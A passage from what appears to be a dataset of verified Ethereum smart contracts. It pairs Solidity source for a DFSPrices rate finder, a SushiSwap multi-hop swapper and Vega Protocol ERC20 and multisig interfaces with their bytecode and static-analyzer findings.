value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract DFSPrices is DSMath { address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; enum ActionType { SELL, BUY } /// @notice Returns the best estimated price from 2 exchanges /// @param _amount Amount of source tokens you want to exchange /// @param _srcToken Address of the source token /// @param _destToken Address of the destination token /// @param _type Type of action SELL|BUY /// @param _wrappers Array of wrapper addresses to compare /// @return (address, uint) The address of the best exchange and the exchange price function getBestPrice( uint256 _amount, address _srcToken, address _destToken, ActionType _type, address[] memory _wrappers, bytes[] memory _additionalData ) public returns (address, uint256) { uint256[] memory rates = new uint256[](_wrappers.length); for (uint i=0; i<_wrappers.length; i++) { rates[i] = getExpectedRate(_wrappers[i], _srcToken, _destToken, _amount, _type, _additionalData[i]); } return getBiggestRate(_wrappers, rates); } /// @notice Return the expected rate from the exchange wrapper /// @dev In case of Oasis/Uniswap handles the different precision tokens /// @param _wrapper Address of exchange wrapper /// @param _srcToken From token /// @param _destToken To token /// @param _amount Amount to be exchanged /// @param _type Type of action SELL|BUY function getExpectedRate( address _wrapper, address _srcToken, address _destToken, uint256 _amount, ActionType _type, bytes memory _additionalData ) public returns (uint256) { bool success; bytes memory result; if (_type == ActionType.SELL) { (success, result) = _wrapper.call(abi.encodeWithSignature( "getSellRate(address,address,uint256,bytes)", _srcToken, _destToken, _amount, _additionalData )); } else { (success, result) = _wrapper.call(abi.encodeWithSignature( "getBuyRate(address,address,uint256,bytes)", _srcToken, _destToken, _amount, _additionalData )); } if (success) { return sliceUint(result, 0); } return 0; } /// @notice Finds the biggest rate between exchanges, needed for sell rate /// @param _wrappers Array of wrappers to compare /// @param _rates Array of rates to compare function getBiggestRate( address[] memory _wrappers, uint256[] memory _rates ) internal pure returns (address, uint) { uint256 maxIndex = 0; // starting from 0 in case there is only one rate in array for (uint256 i=0; i<_rates.length; i++) { if (_rates[i] > _rates[maxIndex]) { maxIndex = i; } } return (_wrappers[maxIndex], _rates[maxIndex]); } function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return IERC20(_token).decimals(); } function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) { require(bs.length >= start + 32, "slicing out of range"); uint256 x; assembly { x := mload(add(bs, add(0x20, start))) } return x; } }
0x608060405234801561001057600080fd5b50600436106100415760003560e01c806329f7fc9e1461004657806389cb014014610064578063a9e925fd14610084575b600080fd5b61004e6100a5565b60405161005b9190610643565b60405180910390f35b6100776100723660046104b4565b6100bd565b60405161005b91906106f2565b61009761009236600461053a565b610242565b60405161005b9291906106ab565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b6000806060818560018111156100cf57fe5b141561017857886001600160a01b0316888888876040516024016100f69493929190610657565b60408051601f198184030181529181526020820180516001600160e01b0316632a091e0960e11b1790525161012b9190610627565b6000604051808303816000865af19150503d8060008114610168576040519150601f19603f3d011682016040523d82523d6000602084013e61016d565b606091505b509092509050610217565b886001600160a01b0316888888876040516024016101999493929190610657565b60408051601f198184030181529181526020820180516001600160e01b0316631275999160e21b179052516101ce9190610627565b6000604051808303816000865af19150503d806000811461020b576040519150601f19603f3d011682016040523d82523d6000602084013e610210565b606091505b5090925090505b811561023157610228816000610306565b92505050610238565b6000925050505b9695505050505050565b6000806000845167ffffffffffffffff8111801561025f57600080fd5b50604051908082528060200260200182016040528015610289578160200160208202803683370190505b50905060005b85518110156102eb576102cc8682815181106102a757fe5b60200260200101518a8a8d8b8a87815181106102bf57fe5b60200260200101516100bd565b8282815181106102d857fe5b602090810291909101015260010161028f565b506102f6858261033e565b9250925050965096945050505050565b600081602001835110156103355760405162461bcd60e51b815260040161032c906106c4565b60405180910390fd5b50016020015190565b6000806000805b84518110156103885784828151811061035a57fe5b602002602001015185828151811061036e57fe5b60200260200101511115610380578091505b600101610345565b5084818151811061039557fe5b60200260200101518482815181106103a957fe5b602002602001015192509250509250929050565b80356001600160a01b03811681146103d457600080fd5b919050565b600082601f8301126103e9578081fd5b813560206103fe6103f98361071f565b6106fb565b82815281810190858301855b8581101561043357610421898684358b0101610440565b8452928401929084019060010161040a565b5090979650505050505050565b600082601f830112610450578081fd5b813567ffffffffffffffff81111561046457fe5b610477601f8201601f19166020016106fb565b81815284602083860101111561048b578283fd5b816020850160208301379081016020019190915292915050565b8035600281106103d457600080fd5b60008060008060008060c087890312156104cc578182fd5b6104d5876103bd565b95506104e3602088016103bd565b94506104f1604088016103bd565b935060608701359250610506608088016104a5565b915060a087013567ffffffffffffffff811115610521578182fd5b61052d89828a01610440565b9150509295509295509295565b60008060008060008060c08789031215610552578182fd5b8635955060206105638189016103bd565b9550610571604089016103bd565b945061057f606089016104a5565b9350608088013567ffffffffffffffff8082111561059b578485fd5b818a0191508a601f8301126105ae578485fd5b81356105bc6103f98261071f565b81815284810190848601868402860187018f10156105d8578889fd5b8895505b83861015610601576105ed816103bd565b8352600195909501949186019186016105dc565b509650505060a08a0135925080831115610619578384fd5b505061052d89828a016103d9565b6000825161063981846020870161073d565b9190910192915050565b6001600160a01b0391909116815260200190565b600060018060a01b0380871683528086166020840152508360408301526080606083015282518060808401526106948160a085016020870161073d565b601f01601f19169190910160a00195945050505050565b6001600160a01b03929092168252602082015260400190565b602080825260149082015273736c6963696e67206f7574206f662072616e676560601b604082015260600190565b90815260200190565b60405181810167ffffffffffffffff8111828210171561071757fe5b604052919050565b600067ffffffffffffffff82111561073357fe5b5060209081020190565b60005b83811015610758578181015183820152602001610740565b83811115610767576000848401525b5050505056fea26469706673582212208c2ffae01f55df152b151869ef9faf980400b691612e6a8d9fa0b13e13b06f6564736f6c63430007060033
{"success": true, "error": null, "results": {}}
10,084
0xB527C5295c4Bc348cBb3a2E96B2494fD292075a7
// File contracts/swappers/SushiSwapMultiExactSwapper.sol // SPDX-License-Identifier: MIT AND GPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // solhint-disable avoid-low-level-calls // File @boringcrypto/boring-solidity/contracts/interfaces/IERC20.sol@v1.2.1 interface IERC20 { } // File @boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol@v1.2.1 library BoringERC20 { bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256) /// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations. /// Reverts on a failed transfer. /// @param token The address of the ERC-20 token. /// @param to Transfer tokens to. /// @param amount The token amount. function safeTransfer( IERC20 token, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed"); } } // File @boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol@v1.2.1 /// @notice A library for performing overflow-/underflow-safe math, /// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math). library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } } // File @sushiswap/core/contracts/uniswapv2/interfaces/IUniswapV2Pair.sol@v1.4.2 interface IUniswapV2Pair { function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; } // File contracts/libraries/UniswapV2Library.sol library UniswapV2Library { using BoringMath for uint256; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES"); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS"); } // calculates the CREATE2 address for a pair without making any external calls function pairFor( address factory, address tokenA, address tokenB, bytes32 pairCodeHash ) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address( uint256( keccak256( abi.encodePacked( hex"ff", factory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash // init code hash ) ) ) ); } // fetches and sorts the reserves for a pair function getReserves( address factory, address tokenA, address tokenB, bytes32 pairCodeHash ) internal view returns (uint256 reserveA, uint256 reserveB) { (address token0, ) = sortTokens(tokenA, tokenB); (uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB, pairCodeHash)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountOut) { require(amountIn > 0, "UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT"); require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); uint256 amountInWithFee = amountIn.mul(997); uint256 numerator = amountInWithFee.mul(reserveOut); uint256 denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut( address factory, uint256 amountIn, address[] memory path, bytes32 pairCodeHash ) internal view returns (uint256[] memory amounts) { require(path.length >= 2, "UniswapV2Library: INVALID_PATH"); amounts = new uint256[](path.length); amounts[0] = amountIn; for (uint256 i; i < path.length - 1; i++) { (uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i], path[i + 1], pairCodeHash); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path, bytes32 pairCodeHash) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i], pairCodeHash); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // File @sushiswap/bentobox-sdk/contracts/IBentoBoxV1.sol@v1.0.2 interface IBentoBoxV1 { function deposit( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external payable returns (uint256 amountOut, uint256 shareOut); function toAmount( IERC20 token, uint256 share, bool roundUp ) external view returns (uint256 amount); function toShare( IERC20 token, uint256 amount, bool roundUp ) external view returns (uint256 share); function transfer( IERC20 token, address from, address to, uint256 share ) external; function withdraw( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external returns (uint256 amountOut, uint256 shareOut); } // File contracts/swappers/SushiSwapMultiSwapper.sol contract SushiSwapMultiExactSwapper { using BoringERC20 for IERC20; using BoringMath for uint256; address private immutable factory; IBentoBoxV1 private immutable bentoBox; bytes32 private immutable pairCodeHash; constructor( address _factory, IBentoBoxV1 _bentoBox, bytes32 _pairCodeHash ) public { factory = _factory; bentoBox = _bentoBox; pairCodeHash = _pairCodeHash; } function getInputAmount( IERC20 tokenOut, address[] memory path, uint256 shareOut ) public view returns (uint256 amountIn) { uint256 amountOut = bentoBox.toAmount(tokenOut, shareOut, true); uint256[] memory amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path, pairCodeHash); amountIn = amounts[0]; } function swap( IERC20 tokenIn, IERC20 tokenOut, uint256 amountMaxIn, address path1, address path2, address to, uint256 shareIn, uint256 shareOut ) external returns (uint256) { address[] memory path; if (path2 == address(0)) { if (path1 == address(0)) { path = new address[](2); path[1] = address(tokenOut); } else { path = new address[](3); path[1] = path1; path[2] = address(tokenOut); } } else { path = new address[](4); path[1] = path1; path[2] = path2; path[3] = address(tokenOut); } path[0] = address(tokenIn); uint256 amountIn = getInputAmount(tokenOut, path, shareOut); require(amountIn <= amountMaxIn, "insufficient-amount-in"); uint256 difference = shareIn.sub(bentoBox.toShare(tokenIn, amountIn, true)); bentoBox.withdraw(tokenIn, address(this), UniswapV2Library.pairFor(factory, path[0], path[1], pairCodeHash), amountIn, 0); _swapExactTokensForTokens(amountIn, path, address(bentoBox)); bentoBox.transfer(tokenIn, address(this), to, difference); bentoBox.deposit(tokenOut, address(bentoBox), to, 0, shareOut); return (difference); } // Swaps an exact amount of tokens for another token through the path passed as an argument // Returns the amount of the final token function _swapExactTokensForTokens( uint256 amountIn, address[] memory path, address to ) internal { uint256[] memory amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path, pairCodeHash); _swap(amounts, path, to); } // requires the initial amount to have already been sent to the first pair function _swap( uint256[] memory amounts, address[] memory path, address _to ) internal virtual { for (uint256 i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (address token0, ) = UniswapV2Library.sortTokens(input, output); uint256 amountOut = amounts[i + 1]; (uint256 amount0Out, uint256 amount1Out) = input == token0 ? (uint256(0), amountOut) : (amountOut, uint256(0)); address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2], pairCodeHash) : _to; IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output, pairCodeHash)).swap(amount0Out, amount1Out, to, new bytes(0)); } } }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c80631e2e4ebc1461003b5780633087d74214610064575b600080fd5b61004e610049366004610eaa565b610077565b60405161005b91906113cb565b60405180910390f35b61004e610072366004610f72565b61018d565b6000807f000000000000000000000000f5bce5077908a1b7370b9ae04adc565ebd6439666001600160a01b03166356623118868560016040518463ffffffff1660e01b81526004016100cb93929190611149565b60206040518083038186803b1580156100e357600080fd5b505afa1580156100f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061011b9190611051565b9050606061016b7f000000000000000000000000c0aee478e3658e2610c5f7a4a2e1777ce9e4f2ac83877fe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c63036106c5565b90508060008151811061017a57fe5b6020026020010151925050509392505050565b600060606001600160a01b038616610283576001600160a01b03871661020057604080516002808252606082018352909160208301908036833701905050905088816001815181106101db57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505061027e565b604080516003808252608082019092529060208201606080368337019050509050868160018151811061022f57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050888160028151811061025d57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250505b61032f565b60408051600480825260a08201909252906020820160808036833701905050905086816001815181106102b257fe5b60200260200101906001600160a01b031690816001600160a01b03168152505085816002815181106102e057fe5b60200260200101906001600160a01b031690816001600160a01b031681525050888160038151811061030e57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250505b898160008151811061033d57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050600061036a8a8386610077565b9050888111156103955760405162461bcd60e51b815260040161038c9061119b565b60405180910390fd5b60006104427f000000000000000000000000f5bce5077908a1b7370b9ae04adc565ebd6439666001600160a01b031663da5139ca8e8560016040518463ffffffff1660e01b81526004016103eb93929190611149565b60206040518083038186803b15801561040357600080fd5b505afa158015610417573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061043b9190611051565b87906107df565b90507f000000000000000000000000f5bce5077908a1b7370b9ae04adc565ebd6439666001600160a01b03166397da6d308d306104e97f000000000000000000000000c0aee478e3658e2610c5f7a4a2e1777ce9e4f2ac886000815181106104a657fe5b6020026020010151896001815181106104bb57fe5b60200260200101517fe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303610808565b8660006040518663ffffffff1660e01b815260040161050c9594939291906110eb565b6040805180830381600087803b15801561052557600080fd5b505af1158015610539573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061055d9190611069565b505061058a82847f000000000000000000000000f5bce5077908a1b7370b9ae04adc565ebd64396661087b565b604051633c6340f360e21b81526001600160a01b037f000000000000000000000000f5bce5077908a1b7370b9ae04adc565ebd643966169063f18d03cc906105dc908f9030908c90879060040161111f565b600060405180830381600087803b1580156105f657600080fd5b505af115801561060a573d6000803e3d6000fd5b505060405162ae511b60e21b81527f000000000000000000000000f5bce5077908a1b7370b9ae04adc565ebd6439666001600160a01b03811693506302b9446c9250610662918f91908c906000908c906004016110eb565b6040805180830381600087803b15801561067b57600080fd5b505af115801561068f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b39190611069565b50909c9b505050505050505050505050565b60606002835110156106e95760405162461bcd60e51b815260040161038c9061125c565b825167ffffffffffffffff8111801561070157600080fd5b5060405190808252806020026020018201604052801561072b578160200160208202803683370190505b509050838160018351038151811061073f57fe5b60209081029190910101528251600019015b80156107d65760008061078f8887600186038151811061076d57fe5b602002602001015188868151811061078157fe5b6020026020010151886108dc565b915091506107b18484815181106107a257fe5b602002602001015183836109b7565b8460018503815181106107c057fe5b6020908102919091010152505060001901610751565b50949350505050565b808203828111156108025760405162461bcd60e51b815260040161038c9061116c565b92915050565b60008060006108178686610a51565b9150915086828260405160200161082f92919061108c565b6040516020818303038152906040528051906020012085604051602001610858939291906110b3565b60408051601f198184030181529190528051602090910120979650505050505050565b60606108c97f000000000000000000000000c0aee478e3658e2610c5f7a4a2e1777ce9e4f2ac85857fe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303610adb565b90506108d6818484610bdd565b50505050565b60008060006108eb8686610a51565b5090506000806108fd89898989610808565b6001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561093557600080fd5b505afa158015610949573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096d9190610ffd565b506001600160701b031691506001600160701b03169150826001600160a01b0316886001600160a01b0316146109a45780826109a7565b81815b909a909950975050505050505050565b60008084116109d85760405162461bcd60e51b815260040161038c906111cb565b6000831180156109e85750600082115b610a045760405162461bcd60e51b815260040161038c906112ca565b6000610a1c6103e8610a168688610dab565b90610dab565b90506000610a306103e5610a1686896107df565b9050610a476001828481610a4057fe5b0490610de2565b9695505050505050565b600080826001600160a01b0316846001600160a01b03161415610a865760405162461bcd60e51b815260040161038c90611217565b826001600160a01b0316846001600160a01b031610610aa6578284610aa9565b83835b90925090506001600160a01b038216610ad45760405162461bcd60e51b815260040161038c90611312565b9250929050565b6060600283511015610aff5760405162461bcd60e51b815260040161038c9061125c565b825167ffffffffffffffff81118015610b1757600080fd5b50604051908082528060200260200182016040528015610b41578160200160208202803683370190505b5090508381600081518110610b5257fe5b60200260200101818152505060005b60018451038110156107d657600080610b9788878581518110610b8057fe5b602002602001015188866001018151811061078157fe5b91509150610bb9848481518110610baa57fe5b60200260200101518383610e05565b848460010181518110610bc857fe5b60209081029190910101525050600101610b61565b60005b60018351038110156108d657600080848381518110610bfb57fe5b6020026020010151858460010181518110610c1257fe5b6020026020010151915091506000610c2a8383610a51565b5090506000878560010181518110610c3e57fe5b60200260200101519050600080836001600160a01b0316866001600160a01b031614610c6c57826000610c70565b6000835b91509150600060028a51038810610c875788610cbb565b610cbb7f000000000000000000000000c0aee478e3658e2610c5f7a4a2e1777ce9e4f2ac878c8b600201815181106104bb57fe5b9050610d097f000000000000000000000000c0aee478e3658e2610c5f7a4a2e1777ce9e4f2ac88887fe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303610808565b6001600160a01b031663022c0d9f84848460006040519080825280601f01601f191660200182016040528015610d46576020820181803683370190505b506040518563ffffffff1660e01b8152600401610d6694939291906113d4565b600060405180830381600087803b158015610d8057600080fd5b505af1158015610d94573d6000803e3d6000fd5b505060019099019850610be0975050505050505050565b6000811580610dc657505080820282828281610dc357fe5b04145b6108025760405162461bcd60e51b815260040161038c90611394565b818101818110156108025760405162461bcd60e51b815260040161038c90611293565b6000808411610e265760405162461bcd60e51b815260040161038c90611349565b600083118015610e365750600082115b610e525760405162461bcd60e51b815260040161038c906112ca565b6000610e60856103e5610dab565b90506000610e6e8285610dab565b90506000610e8883610e82886103e8610dab565b90610de2565b9050808281610e9357fe5b04979650505050505050565b80356108028161146c565b600080600060608486031215610ebe578283fd5b8335610ec98161146c565b925060208481013567ffffffffffffffff80821115610ee6578485fd5b818701915087601f830112610ef9578485fd5b813581811115610f07578586fd5b8381029150610f17848301611445565b8181528481019084860184860187018c1015610f31578889fd5b8895505b83861015610f5b57610f478c82610e9f565b835260019590950194918601918601610f35565b50979a979950505050604095909501359450505050565b600080600080600080600080610100898b031215610f8e578384fd5b8835610f998161146c565b97506020890135610fa98161146c565b9650604089013595506060890135610fc08161146c565b94506080890135610fd08161146c565b935060a0890135610fe08161146c565b979a969950949793969295929450505060c08201359160e0013590565b600080600060608486031215611011578283fd5b835161101c81611484565b602085015190935061102d81611484565b604085015190925063ffffffff81168114611046578182fd5b809150509250925092565b600060208284031215611062578081fd5b5051919050565b6000806040838503121561107b578182fd5b505080516020909101519092909150565b6bffffffffffffffffffffffff19606093841b811682529190921b16601482015260280190565b6001600160f81b0319815260609390931b6bffffffffffffffffffffffff191660018401526015830191909152603582015260550190565b6001600160a01b03958616815293851660208501529190931660408301526060820192909252608081019190915260a00190565b6001600160a01b039485168152928416602084015292166040820152606081019190915260800190565b6001600160a01b0393909316835260208301919091521515604082015260600190565b602080825260159082015274426f72696e674d6174683a20556e646572666c6f7760581b604082015260600190565b60208082526016908201527534b739bab33334b1b4b2b73a16b0b6b7bab73a16b4b760511b604082015260600190565b6020808252602c908201527f556e697377617056324c6962726172793a20494e53554646494349454e545f4f60408201526b155514155517d05353d5539560a21b606082015260800190565b60208082526025908201527f556e697377617056324c6962726172793a204944454e544943414c5f41444452604082015264455353455360d81b606082015260800190565b6020808252601e908201527f556e697377617056324c6962726172793a20494e56414c49445f504154480000604082015260600190565b60208082526018908201527f426f72696e674d6174683a20416464204f766572666c6f770000000000000000604082015260600190565b60208082526028908201527f556e697377617056324c6962726172793a20494e53554646494349454e545f4c604082015267495155494449545960c01b606082015260800190565b6020808252601e908201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604082015260600190565b6020808252602b908201527f556e697377617056324c6962726172793a20494e53554646494349454e545f4960408201526a1394155517d05353d5539560aa1b606082015260800190565b60208082526018908201527f426f72696e674d6174683a204d756c204f766572666c6f770000000000000000604082015260600190565b90815260200190565b60008582526020858184015260018060a01b0385166040840152608060608401528351806080850152825b8181101561141b5785810183015185820160a0015282016113ff565b8181111561142c578360a083870101525b50601f01601f19169290920160a0019695505050505050565b60405181810167ffffffffffffffff8111828210171561146457600080fd5b604052919050565b6001600160a01b038116811461148157600080fd5b50565b6001600160701b038116811461148157600080fdfea2646970667358221220ed97890dc9bc79bc049915ab8e229e6d9bac9a99f96d16153e4f84d58b510e1164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
10,085
0xF0f0FcDA832415b935802c6dAD0a6dA2c7EAed8f
// File: contracts/IERC20.sol //SPDX-License-Identifier: MIT pragma solidity 0.8.8; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/IMultisigControl.sol /// @title MultisigControl Interface /// @author Vega Protocol /// @notice Implementations of this interface are used by the Vega network to control smart contracts without the need for Vega to have any Ethereum of its own. /// @notice To do this, the Vega validators sign a MultisigControl order to construct a signature bundle. Any interested party can then take that signature bundle and pay the gas to run the command on Ethereum abstract contract IMultisigControl { /***************************EVENTS****************************/ event SignerAdded(address new_signer, uint256 nonce); event SignerRemoved(address old_signer, uint256 nonce); event ThresholdSet(uint16 new_threshold, uint256 nonce); /**************************FUNCTIONS*********************/ /// @notice Sets threshold of signatures that must be met before function is executed. /// @param new_threshold New threshold value /// @param nonce Vega-assigned single-use number that provides replay attack protection /// @param signatures Vega-supplied signature bundle of a validator-signed order /// @notice See MultisigControl for more about signatures /// @notice Ethereum has no decimals, threshold is % * 10 so 50% == 500 100% == 1000 /// @notice signatures are OK if they are >= threshold count of total valid signers /// @dev MUST emit ThresholdSet event function set_threshold(uint16 new_threshold, uint nonce, bytes calldata signatures) public virtual; /// @notice Adds new valid signer and adjusts signer count. /// @param new_signer New signer address /// @param nonce Vega-assigned single-use number that provides replay attack protection /// @param signatures Vega-supplied signature bundle of a validator-signed order /// @notice See MultisigControl for more about signatures /// @dev MUST emit 'SignerAdded' event function add_signer(address new_signer, uint nonce, bytes calldata signatures) public virtual; /// @notice Removes currently valid signer and adjusts signer count. /// @param old_signer Address of signer to be removed. /// @param nonce Vega-assigned single-use number that provides replay attack protection /// @param signatures Vega-supplied signature bundle of a validator-signed order /// @notice See MultisigControl for more about signatures /// @dev MUST emit 'SignerRemoved' event function remove_signer(address old_signer, uint nonce, bytes calldata signatures) public virtual; /// @notice Verifies a signature bundle and returns true only if the threshold of valid signers is met, /// @notice this is a function that any function controlled by Vega MUST call to be securely controlled by the Vega network /// @notice message to hash to sign follows this pattern: /// @notice abi.encode( abi.encode(param1, param2, param3, ... , nonce, function_name_string), validating_contract_or_submitter_address); /// @notice Note that validating_contract_or_submitter_address is the the submitting party. If on MultisigControl contract itself, it's the submitting ETH address /// @notice if function on bridge that then calls Multisig, then it's the address of that contract /// @notice Note also the embedded encoding, this is required to verify what function/contract the function call goes to /// @return MUST return true if valid signatures are over the threshold function verify_signatures(bytes calldata signatures, bytes memory message, uint nonce) public virtual returns(bool); /**********************VIEWS*********************/ /// @return Number of valid signers function get_valid_signer_count() public virtual view returns(uint8); /// @return Current threshold function get_current_threshold() public virtual view returns(uint16); /// @param signer_address target potential signer address /// @return true if address provided is valid signer function is_valid_signer(address signer_address) public virtual view returns(bool); /// @param nonce Nonce to lookup /// @return true if nonce has been used function is_nonce_used(uint nonce) public virtual view returns(bool); } /** MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMWEMMMMMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM MMMMMMLOVEMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM MMMMMMMMMMHIXELMMMMMMMMMMMM....................MMMMMNNMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMM....................MMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMM88=........................+MMMMMMMMMM MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM MMMMMMMMMMMM.........................MM+..MMM....+MMMMMMMMMM MMMMMMMMMNMM...................... ..MM?..MMM.. .+MMMMMMMMMM MMMMNDDMM+........................+MM........MM..+MMMMMMMMMM MMMMZ.............................+MM....................MMM MMMMZ.............................+MM....................MMM MMMMZ.............................+MM....................DDD MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM MM..............................MMZ....ZMMMMMMMMMMMMMMMMMMMM MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM 